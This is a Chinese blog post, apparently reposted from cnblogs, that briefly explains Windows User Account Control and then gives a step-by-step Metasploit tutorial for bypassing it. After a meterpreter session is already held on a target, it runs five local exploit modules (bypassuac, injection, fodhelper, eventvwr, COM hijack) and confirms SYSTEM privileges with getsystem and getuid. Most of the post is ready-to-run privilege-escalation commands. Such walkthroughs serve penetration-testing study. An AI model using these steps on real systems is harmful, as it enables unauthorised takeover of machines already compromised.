本文来源:https://www.cnblogs.com/backlion/p/10552137.html
----------------------------------------------------------------
在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。
Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。
UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。
一些没有管理员权限无法完成的操作:
UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件。这同样取决于用户。如果将以管理员权限执行程序,则将提醒用户并且需要用户确认。
https://malwaretips.com/threads/why-uac-is-important-and-how-it-can-protect-you.47157/
首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。
getsystem
getuid
如果您没有系统/管理权限。然后您应该绕过目标系统的UAC保护。
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在以下命令以确定system权限特权.
getsystem
getuid
很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。
此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
最终你将获得NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit
从给定的meterprer中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
很好, 这里我们获得了NT AUTHORITY\SYSTEM 权限,现在如果你输入“ shell ”命令,你将获得具有管理员权限的命令提示符。
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在输入以下命令以确定system权限特权。
getsystem
getuid
您将再次获得NT AUTHORITY\SYSTEM 权限。
此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit
从给定的meterpreter中,您可以看到meterpreter会话2已打开,现在键入以下命令以确定system权限特权。
getsystem
getuid
最后,您将获得NT AUTHORITY\SYSTEM 权限,现在如果您再次运行“shell”命令,那么您将获得具有管理员权限的命令提示符访问权限,这样我们就可以通过Metasploit利用exploit来绕过UAC保护。
本文作者为backlion